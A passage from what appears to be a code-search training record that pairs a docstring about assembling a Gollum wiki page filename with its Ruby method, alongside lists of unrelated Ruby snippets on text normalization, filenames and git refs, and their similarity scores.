"def clean_text(datacontent)\n return datacontent.gsub(/[^a-z0-9]/i, \"\").downcase\nend",
"def normalize(v)\n v.to_s.strip\n end",
"def normalize identifier\n if valid? identifier\n identifier\n else\n max_length = [DaitssChecker::MAX_LENGTH, \n PresenceChecker::MAX_LENGTH].min\n if identifier.length > max_length\n normalize(identifier[0..max_length-1])\n else\n initial = identifier[0]\n rest = identifier[1..-1]\n\n if valid? initial\n identifier.gsub(/[^#{DaitssChecker::CHARACTERS}]/, '_').\n gsub(/[^#{PresenceChecker::CHARACTERS}]/, '_')\n else\n normalize(\"_#{rest}\")\n end\n end\n end\n end",
"def data_strip_downcase\n self.original_text = original_text.mb_chars.strip.downcase\n self.translated_text = translated_text.mb_chars.strip.downcase\n end",
"def normalized\n @original.downcase\n end",
"def normalize_text(text)\n letters = text.upcase.split ''\n letters.delete_if { |x| ! @table[0].include?(x) }\n letters.join ''\n end",
"def normalize!\n new_contents = []\n @contents.each{|c|\n if c.is_a? String\n next if c == \"\"\n if new_contents[-1].is_a? String\n new_contents[-1] += c\n next\n end\n else\n c.normalize!\n end\n new_contents.push c\n }\n @contents = new_contents\n end",
"def stem(data)\n if data\n words = data.split(/[+,_]|%20/) # split on '+', '_', or '%20'\n tokens = []\n\n words.each do |word|\n tokens.push(Lingua.stemmer(word, :language => \"en\"))\n end\n\n tokens.join(\",\")\n else\n \"Error: need input\"\n end\n end",
"def normalize_disallowed_data_value(value)\n return value if !value.start_with?(\"/\") || !value.end_with?(\"/\")\n\n # if a value is surrounded by slashes, take it as a regexp\n value_without_slashes = value[1..-2]\n Regexp.compile value_without_slashes.to_s\n end",
"def normalize_string str\n str.to_s.encode(\n invalid: :replace,\n undef: :replace,\n universal_newline: true\n )\n end",
"def normalize1(text, analyzer = nil)\n\t\tEntry.normalize(text, normalizer1, analyzer)\n\tend",
"def normalize(text) #:nodoc:\n normalized_text = text.to_s.downcase\n normalized_text = Numerizer.numerize(normalized_text)\n normalized_text.gsub!(/['\"\\.]/, '')\n normalized_text.gsub!(/([\\/\\-\\,\\@])/) { ' ' + $1 + ' ' }\n normalized_text.gsub!(/\\btoday\\b/, 'this day')\n normalized_text.gsub!(/\\btomm?orr?ow\\b/, 'next day')\n normalized_text.gsub!(/\\byesterday\\b/, 'last day')\n normalized_text.gsub!(/\\bnoon\\b/, '12:00')\n normalized_text.gsub!(/\\bmidnight\\b/, '24:00')\n normalized_text.gsub!(/\\bbefore now\\b/, 'past')\n normalized_text.gsub!(/\\bnow\\b/, 'this second')\n normalized_text.gsub!(/\\b(ago|before)\\b/, 'past')\n normalized_text.gsub!(/\\bthis past\\b/, 'last')\n normalized_text.gsub!(/\\bthis last\\b/, 'last')\n normalized_text.gsub!(/\\b(?:in|during) the (morning)\\b/, '\\1')\n normalized_text.gsub!(/\\b(?:in the|during the|at) (afternoon|evening|night)\\b/, '\\1')\n normalized_text.gsub!(/\\btonight\\b/, 'this night')\n normalized_text.gsub!(/(?=\\w)([ap]m|oclock)\\b/, ' \\1')\n normalized_text.gsub!(/\\b(hence|after|from)\\b/, 'future')\n normalized_text = numericize_ordinals(normalized_text)\n end",
"def normalize!(string, options = {})\n unify_voiced_katakana!(string)\n normalize_charwidth!(string, options)\n end",
"def norm(s)\n s.gsub(/ /, '-').underscore\nend",
"def sanitize_data\n sanitize_name\n sanitize_city\n sanitize_zip_code\n sanitize_address\n end",
"def sanitize_data\n sanitize_name\n sanitize_city\n sanitize_zip_code\n sanitize_address\n end",
"def normalize(data)\n return [] if data.empty?\n min_power = max_power = data[0][:spectrum][0]\n data.each do |dp|\n min_power = [min_power, dp[:spectrum].min].min\n max_power = [max_power, dp[:spectrum].max].max\n end\n puts \"minmax #{min_power} #{max_power}\"\n #edited to * 10 instead of *100\n data.map{|dp| dp[:spectrum] = dp[:spectrum].map{|dsp| (10*(dsp - min_power)/max_power).round(1)}; dp}\nend",
"def build_raw_data(data)\r\n data.kind_of?(String) ? data : data.inspect\r\n end",
"def convert_data(text)\n text.nil? ? '' : text\n end",
"def unnormalize(code)\n code = code.gsub(/<text:line-break\\/>/, \"\\n\")\n code = code.gsub(/<text:tab\\/>/, \"\\t\")\n return REXML::Text.unnormalize(code)\n end",
"def normalize2(text, analyzer = nil)\n\t\tEntry.normalize(text, normalizer2, analyzer)\n\tend",
"def normalize(value)\n @process.call(value)\n end",
"def clean_data\n clean_attributes = {}\n attributes.each do |key, value|\n # clean user inputted strings\n value = value.downcase.strip if value.is_a?(String)\n\n clean_attributes[key.to_sym] = value\n end\n clean_attributes\n end",
"def normalize(text)\n normalized = text.gsub(\" '\",\" \").gsub(\"' \",\" \")\n normalized.delete! \".\" \",\" \"(\" \")\" \";\" \"!\" \":\" \"?\" \"\\\"\"\n normalized.downcase.split\nend",
"def normalize(node)\n return normalize_str(node) if node.is_a?(String)\n\n html = node.dup\n\n remove_trackers! html\n remove_blacklisted_images! html\n remove_style_attrs! html\n wrap_stray_text! html\n move_stray_images! html\n\n blocks(html).each do |blk|\n if block?(blk)\n add_class blk, 'short' if blk.content.size < 50\n add_class blk, 'image' if image_paragraph?(blk)\n handle_duplicate_brs! blk\n fix_pseudo_headings! blk\n end\n end\n\n blocks(html).each do |blk|\n blk.remove if blank?(blk) # Not recursive\n end\n\n html\n end",
"def normalize(str) \n str.gsub(/\\W/, '').upcase #.gsub(/\\s(\\d+)\\s/, '')\n end",
"def norm_string(s)\n s.chars.sort!\nend",
"def normalized_str(attribute)\n normalized(attribute).join(\"; \")\n end",
"def normalize\n data = latest_data\n norm = File.expand_path(File.join(data, \"..\", \"normalized\"))\n FileUtils.mkdir_p(norm)\n\n date = data.split(\"/\").last\n\n if File.exists?(File.join(norm, \"#{date}-czds-names.mtbl\"))\n log(\"Normalized data is already present for #{data}\")\n return true\n end\n\n unless inetdata_parsers_available?\n log(\"The inetdata-parsers tools are not in the execution path, aborting normalization\")\n return false\n end\n\n csv_cmd = \"nice #{gzip_command} -dc #{data}/*.gz | \" +\n \"nice inetdata-zone2csv | \" +\n \"nice inetdata-csvsplit -t #{get_tempdir} -m #{(get_total_ram/8.0).to_i} #{norm}/#{date}-czds\"\n\n log(\"Running #{csv_cmd}\\n\")\n system(csv_cmd)\n\n [\n \"#{norm}/#{date}-czds-names.gz\",\n \"#{norm}/#{date}-czds-names-inverse.gz\"\n ].each do |f|\n o = f.sub(\".gz\", \".mtbl.tmp\")\n mtbl_cmd = \"nice #{gzip_command} -dc #{Shellwords.shellescape(f)} | inetdata-dns2mtbl -t #{get_tempdir} -m #{(get_total_ram/8.0).to_i} #{o}\"\n log(\"Running #{mtbl_cmd}\")\n system(mtbl_cmd)\n File.rename(o, o.gsub(/\\.tmp$/, ''))\n end\n end",
"def _normalize(name)\n # maybe do something more, maybe not.. ruby does allow for\n # some weird stuff to be used as a variable name. the user\n # should use some common sense. and, other things might\n # also be an syntax error, like starting with a number.\n # this normalization is more of a comvenience than anything\n # else\n name.tr('-', '_')\n end",
"def sanitized_string\n @sanitized_string ||= (\n str = string.dup\n # Remove thousand separator commas\n str.gsub! /(\\d)(,)(?=\\d{3}\\b)/, '\\1'\n\n # replace any non number or decimal characters with spaces\n str.gsub! /[^0-9\\.]/, ' '\n\n str\n )\n end",
"def normalize\n self.strip_accents.upcase.gsub(/[']+/, '').gsub(/[^A-Z0-9\\s]+/, ' ').gsub(/\\s+/, ' ').strip.to_s\n end",
"def normalize!\n normalize\n save\n end",
"def normalize!\n normalize\n save\n end",
"def digested_canonicalized_data\n \n @string = \"\"\n @string << CGI::unescapeHTML(self.canonicalized_data.gsub(/\\n/, ''))\n return Base64::encode64(Digest::SHA1.digest(@string))\n \n end",
"def normalize(text)\n text.downcase.gsub(\"'\",\"\").gsub(/[^a-z ]/, ' ').split\nend",
"def pre_normalize(text)\n text.gsub!(/\\b(quarters?)\\b/, '<=\\1=>') # workaround for Numerizer\n text.gsub!(/\\b\\s+third\\b/, ' 3rd')\n text.gsub!(/\\b\\s+fourth\\b/, ' 4th')\n text = Numerizer.numerize(text)\n text.gsub!(/<=(quarters?)=>/, '\\1')\n text\n end",
"def format data\n data\n end",
"def normalize!\n end",
"def remove_characters\n @data = @data.gsub(/\\n/, ' ').gsub(/\\f/, ' ').gsub(/\\s+/, ' ')\n @data = @data.split(' ')\n end",
"def canonicalize(s)\n Canonicalizer.canonicalize s\n end"
] |
[
"0.6897263",
"0.67976516",
"0.6649375",
"0.65771544",
"0.65287596",
"0.61712086",
"0.61110514",
"0.6101177",
"0.60774815",
"0.58634585",
"0.5623632",
"0.55866665",
"0.5554434",
"0.55186266",
"0.5514356",
"0.55023354",
"0.5486429",
"0.54751265",
"0.54744905",
"0.54739636",
"0.54502153",
"0.5442261",
"0.54314613",
"0.543038",
"0.5429235",
"0.5397142",
"0.5394527",
"0.5364415",
"0.5352105",
"0.53273195",
"0.53180474",
"0.5291327",
"0.5263201",
"0.52618223",
"0.52458644",
"0.52415407",
"0.52295107",
"0.5228205",
"0.52276874",
"0.52054095",
"0.51964426",
"0.5185712",
"0.51762605",
"0.51433146",
"0.51365596",
"0.5136159",
"0.5128816",
"0.51261324",
"0.51256114",
"0.5113474",
"0.5091024",
"0.50894886",
"0.50835615",
"0.5077573",
"0.5065876",
"0.50643986",
"0.5057581",
"0.50456154",
"0.50441927",
"0.50390923",
"0.5037667",
"0.502991",
"0.5022038",
"0.501112",
"0.5000937",
"0.4990866",
"0.49902257",
"0.49886793",
"0.4974395",
"0.49647987",
"0.49605456",
"0.4938966",
"0.4935728",
"0.4935728",
"0.4933163",
"0.4932171",
"0.49201986",
"0.49084583",
"0.48974535",
"0.48881224",
"0.4887469",
"0.4887202",
"0.4885333",
"0.48768628",
"0.48737684",
"0.487297",
"0.4852246",
"0.4847877",
"0.48467717",
"0.48427776",
"0.48416257",
"0.48416257",
"0.48409402",
"0.48396724",
"0.48382878",
"0.48314118",
"0.4824466",
"0.48236212",
"0.4808937"
] |
0.6943592
|
1
|
Assemble a Page's filename from its name and format. name The String name of the page (should be precanonicalized). format The Symbol format of the page. Returns the String filename.
|
def page_file_name(name, format)
format.nil? ? name : "#{name}.#{::Gollum::Page.format_to_ext(format)}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def page_file_name(name, format)\n ext = @page_class.format_to_ext(format)\n @page_class.cname(name) + '.' + ext\n end",
"def filename(format)\n \"#{filename_without_extension}.#{format}\"\n end",
"def filename\n @basename + PAGE_FILE_EXT\n end",
"def pdf_name(name = nil)\n name ||= self.name\n Pathname(name).sub_ext(\".pdf\")\n end",
"def page_file page_name\n file_name = File.basename(page_name).gsub('.', '_')\n\n File.join @path, File.dirname(page_name), \"page-#{file_name}.ri\"\n end",
"def template_name_and_format(name, format, opts)\n \"#{name}.#{format}\"\n end",
"def get_filename(pagename)\n\t\tget_permalink(pagename) + \".md\"\n\tend",
"def get_filename(pagename)\n\t\tget_permalink(pagename) + \".md\"\n\tend",
"def create_file_name(name)\r\n if name.match(/(.*)\\.([^\\.]*)/)\r\n fname, fext = $1, $2\r\n else\r\n fname, fext = name, \"dat\"\r\n end\r\n fname = fname.slugerize\r\n fext = fext.slugerize\r\n hash = Time.now.usec % 814949\r\n return \"#{hash.to_s(16)}_#{fname}.#{fext}\"\r\n end",
"def getPageKey\n if @formatted_name.nil?\n @formatted_name = @humanly_name.split(/\\./)[0].gsub(%r{\\s},WHITE_SPACE).gsub(%r{[/<>+]}, WHITE_SPACE).downcase + '.' + @file_extension\n end\n return @formatted_name\n end",
"def name2fn (name)\n sec=$sections_by_name[canonize(name)]\n return \"badSectionlink.htm#\"+name unless sec\n cnum=pad(sec.chapnum)\n snum=pad(sec.secnum)\n if $opt_c\n res=\"chap#{cnum}.htm\"\n res<< \"#SECT#{snum}\" unless snum==\"000\"\n return res\n else\n return \"c#{cnum}s#{snum}.htm\"\n end\nend",
"def discover_file_title(page = current_page)\n\n if page.data.title\n return page.data.title # Frontmatter title\n else\n filename = page.url.split(/\\//).last.gsub('%20', ' ').titleize\n\n return filename.chomp(File.extname(filename))\n end\n end",
"def file_name(name)\n name.to_s.gsub(/-/, \"_\").underscore\n end",
"def generate_filename(title)\n \"#{formatted_current_timestamp}-#{slug_for(title)}.md\"\nend",
"def filename(title, now)\n File.join('_posts', format('%d-%02d-%02d-%s.md', now.year, now.month, now.day, file_title(title)))\nend",
"def file_to_pagename(filename)\n\t\tfilename.chomp(\".md\").gsub('_', ' ').capitalize\n\tend",
"def file_to_pagename(filename)\n\t\tfilename.chomp(\".md\").gsub('_', ' ').capitalize\n\tend",
"def file_name\n # file = full_name\n # file = file.gsub('::', '/')\n # file = file.gsub('#' , '/')\n # file = file.gsub('.' , '-')\n # #file = File.join(output, file + '.html')\n # file\n WebRI.entry_to_path(full_name)\n end",
"def build_name(name)\n \"_design/#{name}\"\n end",
"def filename(name)\n @filename = name.downcase.strip.gsub(' ', '-')\n end",
"def filename(post)\n date = DateTime.parse(post.date)\n rendered_title = post.title.rendered\n slug =\n if rendered_title.empty?\n date.strftime('%s').to_i % (24 * 60 * 60)\n else\n # TODO: Should slugify the first 5 words of the content instead\n rendered_title.downcase.gsub('/[\\s.\\/_]/', ' ').gsub(/[^\\w\\s-]/, '').squeeze(' ').tr(' ', '-').chomp('-')\n end\n\n \"#{date.strftime('%F')}-#{slug}.md\"\n end",
"def file_name(usage)\n if usage.to_s == 'ehtml'\n \"l#{page_layout_root_id}.html.erb\"\n else\n \"l#{page_layout_root_id}.#{usage}\"\n end \n end",
"def file_name(usage)\n usage = usage.to_s unless usage.is_a? String\n if usage =~ /[\\w]+\\.ehtml/\n name = usage.split('.').first\n \"l#{original_page_layout_root.id}#{name}.html.erb\"\n elsif usage =~ /ehtml/\n \"l#{original_page_layout_root.id}.html.erb\"\n else\n \"l#{original_page_layout_root.id}.#{usage}\"\n end\n end",
"def url\n make_file_name('html', name)\n end",
"def formatted_filename(name, version, suffix, extension)\n name.gsub(\"#{version}_\", \"\").chomp(File.extname(name)) + \"_#{suffix}.#{extension}\"\n end",
"def gen_filename\n name = @issue[\"created\"].strftime(\"%Y-%m-%d-\") + \n @issue[\"title\"].gsub(/\\W+/, \"_\") +\n \".yaml\"\n n = 1\n while File.exist?(File.join(@dir, name))\n name = File.basename(name, \".yaml\") + \"-\" + n.to_s + \".yaml\"\n n += 1\n end\n\n name\n end",
"def filename_from_path(name, content_type)\n return \"#{Time.now.to_i}_#{name}\" if content_type.empty?\n\n extension = content_type.split('/').last\n filename = name.split('/').last\n alternative_name = extension.empty? ? \"#{Time.now.to_i}_#{filename}\" : \"#{Time.now.to_i}_#{filename}.#{extension}\"\n filename = File.extname(filename).empty? ? alternative_name : filename\n CGI.unescape(filename) if filename\n end",
"def get_name(name)\n name+\"_#{get_time_stamp}.xlsx\"\n end",
"def pretty_filename_for_download\n student_name = \"#{student.last_name} #{student.first_name}\"\n escaped_student_name = student_name.gsub(/[^a-zA-Z0-9]+/, '')\n date_text = self.created_at.strftime('%Y%m%d')\n \"IEP_#{escaped_student_name}_#{date_text}_#{student.id}_#{self.id}.pdf\"\n end",
"def filename\n date = data[:post_date]\n slug = data[:post_name]\n \"source/#{date.strftime('%Y-%m-%d')}-#{slug}.html.erb\"\n end",
"def output_name\n @output_name ||=\n case @format\n when :pcore\n \"#{File.basename(@path, '.rb')}.pp\"\n else\n raise _(\"unsupported format '%{format}'.\") % { format: @format }\n end\n end",
"def set_formats_for_name_and_filename\n self.name = self.name.tr(' ', '_')\n self.filename = self.filename.tr(' ', '_')\n end",
"def create_filename(prev_name)\n prev_name[/\\d+$/] ? prev_name.next : prev_name + '02'\n end",
"def page_name\n basename = File.basename @relative_name\n basename =~ /\\.(rb|rdoc|txt|md)$/i\n\n $` || basename\n end",
"def filename(domain_name, baseurl)\n @filename ||= generate_file_name(domain_name, baseurl)\n end",
"def url\n make_file_name('html', @chapter.name, name)\n end",
"def to_filename(template_name)\n name = template_name\n return name.is_a?(Symbol) ? \"#{@prefix}#{name}#{@postfix}\" : name\n end",
"def file_name\n name.underscore\n end",
"def name() @filename end",
"def file_name(group, id, format = DEFAULT_FORMAT)\n File.join(VirtualMemory.path, group.to_s.underscore, \"#{group.to_s.underscore}_#{id.to_s.underscore}.#{format.to_s.downcase}\")\n end",
"def merge_path_elements(dir, name, format)\n result = ::File.join([@page_file_dir, dir, self.page_file_name(name, format)].compact)\n result = Pathname.new(result).cleanpath.to_s\n if @page_file_dir\n raise Gollum::IllegalDirectoryPath unless result.start_with?(\"#{@page_file_dir}/\")\n result\n else\n result[0] == '/' ? result[1..-1] : result\n end\n end",
"def file_name\n\t\treturn 'st' + student_id.to_s + 'pr' + problem_id.to_s + 'so' + id.to_s\n\tend",
"def name\n filename\n end",
"def name\n filename\n end",
"def write_page(name, format, data, commit = {})\n index = nil\n sha1 = commit_index(commit) do |idx|\n index = idx\n add_to_index(index, '', name, format, data)\n end\n\n @access.refresh\n update_working_dir(index, '', name, format)\n\n sha1\n end",
"def filename(name)\n # Reemplaza letras con acentos y ñ\n filename = name.gsub('á','a').gsub('é','e').gsub('í','i').gsub('ó','o').gsub('ú','u').gsub('ñ','n').downcase\n return filename\nend",
"def preview_page(name, data, format)\n page = @page_class.new(self)\n ext = @page_class.format_to_ext(format.to_sym)\n path = @page_class.cname(name) + '.' + ext\n blob = OpenStruct.new(:name => path, :data => data)\n page.populate(blob, path)\n page.version = @access.commit('HEAD')\n page\n end",
"def file_name_for(*args)\n \"%s.%s\" % [args.compact.join(self.class.thumbnail_separator), extension]\n end",
"def file_name(url=nil)\n return @filename if(@filename)\n\n url ||= self.url\n url = url.split('?').shift\n \n parts = url.split('/')\n if(parts.last == '/')\n parts.pop\n end\n \n file = parts.pop\n \n if(!archive_type.nil? && file.match(/\\.#{archive_type.to_s}$/).nil?)\n file << \".#{archive_type.to_s}\"\n end\n \n return file\n end",
"def get_page_name\n # TODO: Get from content.\n @name.match(/.*?-(.+)\\./)[1]\n end",
"def file_name\n \"#{@file_name}.#{extension}\"\n end",
"def find_filename(name)\n return name if not File.exists?(name)\n\n new_name = name\n count = 0\n until not File.exists?(new_name)\n count += 1\n new_name = \"#{name}_#{count}\"\n end\n\n new_name\n end",
"def link_path\n File.join(\"/f/#{@page_name}\", name) # /foo/bar_files/file.jpg\n end",
"def name\n file.partition(base).last.gsub(/[_\\/]/, \" \").strip\n end",
"def process(name)\n return unless name\n\n self.ext = File.extname(name)\n self.basename = name[0..-ext.length - 1].gsub(%r!\\.*\\z!, \"\")\n end",
"def format(name=nil)\n @format = name.to_s if name\n @format || DEFAULT_FORMAT\n end",
"def get_filename(url)\n parts = url.split('/')\n dirname = parts[-2]\n filename = parts[-1].split('.')[0] + \"_ocr.pdf\"\n '990s/' + dirname + '/' + filename\nend",
"def title\n CGI::unescape(file_name.to_s).gsub(/\\.\\w+$/, '').titleize\n end",
"def title\n CGI::unescape(file_name.to_s).gsub(/\\.\\w+$/, '').titleize\n end",
"def format_name\n title\n end",
"def file_name(name)\r\n return name.to_s.downcase + '.rb' if name.kind_of?(Symbol)\r\n return ext_name(name).downcase + '.rb'\r\n end",
"def get_file_name(manual, version)\n\n fn = ''\n\n case manual\n when 'audio_2.json'\n fn = 'audio'\n when 'checking_1.json'\n fn = 'checking-vol1'\n when 'checking_2.json'\n fn = 'checking-vol2'\n when 'translate_1.json'\n fn = 'translate-vol1'\n when 'translate_2.json'\n fn = 'translate-vol2'\n when 'gateway_3.json'\n fn = 'gl'\n when 'intro_1.json'\n fn = 'intro'\n when 'process_1.json'\n fn = 'process'\n else\n 'en-ta-v%s' % [version]\n end\n\n '%sen-ta-%s-v%s.pdf' % [@context.registers[:site].config['ta_pdf_cdn'], fn, version]\n end",
"def file_name name\n File.basename(name).sub(/\\.[^\\.]*/, '')\n end",
"def file_name name\n File.basename(name).sub(/\\.[^\\.]*/, '')\n end",
"def name\n @name ||= filename.split(\".\").first.sub(/^_/, \"\")\n end",
"def scrubbed_name\n extension = @fileName.split(\".\")[@fileName.split(\".\").length-1]\n \n if @season.to_i < 10\n season_string = \"S0{#@season}\"\n else\n season_string = \"S#{@season}\"\n end\n \n if @episode.to_i < 10\n episode_string = \"E0#{@episode}\"\n else\n episode_string = \"E#{@episode}\"\n end \n \n [@name.gsub(\" \",\".\"),[season_string,episode_string].join(\"\"),extension].join(\".\")\n end",
"def template_name_and_format_glob(name, format, opts)\n \"#{template_name_and_format(name,format,opts)}.*\"\n end",
"def save_page(page, name)\n f = File.new(name,'w')\n f.puts page\n f.close\n end",
"def filename\n @name ||= \"#{timestamp}-#{secure_token(8)}.#{file.extension}\" if original_filename.present?\n end",
"def filename_generator\n\t\tparameter_array = Array.new\n\t\tunless params[:name].blank?\n\t\t\tparameter_array << params[:name]\n\t\tend\n\t\t\n\t\tunless params[:state].blank?\n\t\t\tparameter_array << params[:state]\n\t\t end\n\t\t\n\t\tunless params[:commodity].blank?\n\t\t\tparameter_array << params[:commodity]\n\t\tend\n\t\t\n\t\t\n\t\t unless params[:status].blank?\n\t\t\t parameter_array << params[:status].pluralize.parameterize.underscore\n\t\t else\n\t\t\t parameter_array << params[:controller]\n\t\t end\n\t\t\t\t \n\t\t unless params[:action] == 'index'\n\t\t\tparameter_array << params[:action]\n\t\t end\n\t\t \n\t\t if params[:action].in?([\"jorc\",\"resources\"])\n\t\t\tparameter_array << \"for_#{params[:year]}\" unless params[:year].blank?\n\t\t end\n\t\t\t\t\n\t\tparameter_array << Date.today.to_s.gsub(/-/,'')\n\t\t\n\t\t@filename = parameter_array.join('_')\n\tend",
"def with_file_extension(name, entry_type)\n return name unless File.extname(name.to_s).empty?\n\n extension = extension_for_type(entry_type)\n extension ? \"#{ name }.#{ extension }\" : name\n end",
"def name; (page.title rescue ''); end",
"def name; (page.title rescue ''); end",
"def get_filename(name)\n $file = \"images/\" << Time.now.strftime('%Y-%m-%d-%H-%M-%S-') << \"#{name}.jpg\"\nend",
"def page_template_filename(page_template)\n ('template_' + page_template)\n end",
"def url_to_filename(url) #:nodoc:\n\t\t\treturn url.gsub(base_url, '')\n\t\tend",
"def format_name\n if target\n target.format_name\n else\n orphan_title.sub(/ (\\d+)$/, \"\")\n end\n end",
"def title\n CGI::unescape(self.file_name).gsub(/\\.\\w+$/, '').titleize\n end",
"def format_name\n if target\n target.format_name\n else\n orphan_title.sub(/ (\\d+)$/, \"\")\n end\n end",
"def name_to_file(name)\n array = name.scan(/[A-Z][a-z]*/)\n raise TypeError, Ajaila::Messager.warning(\"The name of variable should start with capital letter: \\\"table:MyTable\\\"\") if array == []\n return array.map(&:downcase).join(\"_\")\n end",
"def unique_format_name\n string_with_id(format_name)\n end",
"def file_name\n \"images/#{@name}.msf\"\n end",
"def fix_name(title)\n result = String.new( title )\n # Replace all invalid characters\n for substitution in $INVALID_CHARS_FOR_FILENAME\n result.gsub!(substitution[0], substitution[1])\n end\n result\nend",
"def filename\n return @filename if @filename\n\n if self.uri\n @filename = File.basename(self.uri.path)\n else\n regexps = PRECOMPILED_FILE_TYPES.map { |ext| \"\\.#{ext}\" }.join('|')\n\n @filename = File.basename(self.filepath).gsub(/#{regexps}/, '')\n end\n end",
"def filename\n return @filename if @filename\n name.downcase.gsub(/\\W/, '_').squeeze('_')\n end",
"def file_name\n \"#{name.downcase.gsub(/\\s/, '')}.jpg\"\n end",
"def name\n @name ||= File.basename(file).chomp(File.extname(file))\n end",
"def file_name(dir: T.unsafe(nil), name: T.unsafe(nil), ext: T.unsafe(nil), directory_separator: T.unsafe(nil)); end",
"def process(name)\n self.ext = File.extname(name)\n self.basename = name.split('.')[0..-2].first\n end",
"def make_file_name(proposal, type='paltrack')\n if type == 'paltrack'\n make_paltrack_file_name(proposal)\n else\n @filename = @flow_type.upcase << @formatted_seq\n end\n end",
"def generate_file_name\n file_name = attachment.instance_read(:file_name).slugged_filename\n attachment.instance_write :file_name, file_name\n end",
"def title\n #CGI::unescape(file_name.to_s).gsub(/\\.\\w+$/, '').titleize\n self[:file_name].gsub(/\\.\\w+$/, '').titleize rescue ''\n end",
"def process(name)\n # ignore directory\n name = File.basename(name)\n self.ext = File.extname(name)\n self.basename = name[0 .. -self.ext.length-1]\n self.basename.gsub!(/\\.#{@lang}/, '') unless @lang.empty?\n end",
"def filename\n pn = Pathname.new(@source.filename)\n pn.basename(pn.extname).to_s.tap do |s|\n s << \"_\" << @aspect unless @aspect.nil?\n s << \".\" << mime_type.to_sym.to_s\n end\n end",
"def page_path(name, version='master')\n page = wiki.page(name, version)\n if !page.nil?\n \"#{path}/#{page.path}/#{page.version.id}\"\n end\n end",
"def file_name\n prefix = 'broken-links-in-'\n timestamp = Time.now.strftime('_%m-%d_%H-%M-%S')\n prefix + current_branch + timestamp\n end",
"def filename\n @name ||= \"#{md5}.#{file.extension}\" if original_filename.present?\n end",
"def human_pdf_filename\n \"Rechnung-#{self.short_number}.pdf\"\n end",
"def filename\n @filename ||= \"#{ @component.name }-#{(t=Time.now).to_i}-#{t.usec}.yaml\"\n end",
"def path(format)\n case format\n when *formats\n File.join folder, filename(format)\n when *self.class::VERSION_FORMATS.keys\n File.join folder, self.class::VERSION_FORMATS[format] % filename_without_extension\n end\n end"
] |
[
"0.82315075",
"0.63332784",
"0.62032163",
"0.61957616",
"0.614341",
"0.6058302",
"0.6034422",
"0.6034422",
"0.6021924",
"0.6020724",
"0.5863294",
"0.58567405",
"0.5831303",
"0.5820895",
"0.5814861",
"0.57571906",
"0.57571906",
"0.5756022",
"0.57363987",
"0.5720846",
"0.5698656",
"0.56902087",
"0.5643087",
"0.5631187",
"0.5619077",
"0.5618232",
"0.5615575",
"0.5586108",
"0.5580731",
"0.55757576",
"0.55738676",
"0.55671316",
"0.5513027",
"0.55091625",
"0.54691434",
"0.54358524",
"0.5399486",
"0.5397768",
"0.5386417",
"0.5384545",
"0.53778625",
"0.53603417",
"0.5359215",
"0.5359215",
"0.53581977",
"0.5357775",
"0.53517866",
"0.5329199",
"0.5328221",
"0.529734",
"0.5284381",
"0.5284239",
"0.5281299",
"0.5276189",
"0.5267142",
"0.52642685",
"0.5263724",
"0.52623403",
"0.5262335",
"0.5244739",
"0.52407205",
"0.5234746",
"0.5220659",
"0.5220659",
"0.52179474",
"0.52024263",
"0.51987237",
"0.51982254",
"0.5191377",
"0.51836604",
"0.5182252",
"0.517707",
"0.517707",
"0.5171424",
"0.5168791",
"0.5161291",
"0.5155923",
"0.51550496",
"0.51546437",
"0.51521266",
"0.51504475",
"0.5145919",
"0.51379794",
"0.5135636",
"0.5132085",
"0.5124189",
"0.5119021",
"0.51186705",
"0.51152635",
"0.5110256",
"0.5109922",
"0.5104893",
"0.51021636",
"0.50967914",
"0.5096352",
"0.50897235",
"0.50858593",
"0.5078183",
"0.5078153",
"0.5074929"
] |
0.8134208
|
1
|
Fill an array with a list of pages and files in the wiki. ref A String ref that is either a commit SHA or references one. Returns a flat Array of Gollum::Page and Gollum::File instances.
|
def tree_list(ref = @ref, pages=true, files=true)
if (sha = @access.ref_to_sha(ref))
commit = @access.commit(sha)
tree_map_for(sha).inject([]) do |list, entry|
if ::Gollum::Page.valid_page_name?(entry.name)
list << entry.page(self, commit) if pages
elsif files && !entry.name.start_with?('_') && !::Gollum::Page.protected_files.include?(entry.name)
list << entry.file(self, commit)
end
list
end
else
[]
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def tree_list(ref)\n sha = @access.ref_to_sha(ref)\n commit = @access.commit(sha)\n tree_map_for(sha).inject([]) do |list, entry|\n next list unless @page_class.valid_page_name?(entry.name)\n list << entry.page(self, commit)\n end\n end",
"def load_ref_commits(ref)\n commits = []\n page = 1\n begin\n loop do\n commits += Octokit.commits(@path, ref, :page => page)\n page += 1\n end\n rescue Octokit::NotFound, Faraday::Error::ResourceNotFound\n end\n commits\n end",
"def pages(treeish = nil)\n tree_list(treeish || @ref, true, false)\n end",
"def parse_page(doc)\n if !doc.at('table[class=\"mw-allpages-table-chunk\"]').nil?\n doc.at('table[class=\"mw-allpages-table-chunk\"]').children.map{ |row|\n row.search('a').map{ |p|\n URI.unescape(p['href'].gsub('/wiki/', ''))\n }\n }.flatten\n else\n []\n end\nend",
"def add_refs(commit)\n commit.refs = []\n refs = @repo.refs.select { |ref| ref.commit.id == commit.id }\n commit.refs << refs\n commit.refs.flatten!\n end",
"def open\n require 'wiki-lib'\n ary = Array.new\n Selection.each do |dd|\n docu = dd.cite_key.get\n ary << docu unless File.exists?(\"#{Wikipages_path}/ref/#{docu}.txt\")\n ensure_refpage(docu)\n end\n `open http://localhost/wiki/ref:#{Selection[0].cite_key.get}`\nend",
"def list\n\t\tfiles.map! { |filename|\n\t\t\t{:title => file_to_pagename(filename), :link => filename.chomp(\".md\")}\n\t\t}\n\tend",
"def list\n\t\tfiles.map! { |filename|\n\t\t\t{:title => file_to_pagename(filename), :link => filename.chomp(\".md\")}\n\t\t}\n\tend",
"def pages\n @pages ||= []\n end",
"def initialize_page_information\n @issues = []\n @issues_have_changelog_notes = []\n @issues_status = []\n @issues_changelog_notes_descriptions = []\n initialize_issues_array unless @version.nil?\n end",
"def get_pages\n @pages << base_gallery_url\n (@doc/\"a\").select{|a| a[\"href\"] =~ /ndxpage/}.each do |e|\n @pages << base_gallery_url_prefix + e[\"href\"]\n end\n puts \"got pages!\"\n puts @pages.inspect\n puts \"---\"\n end",
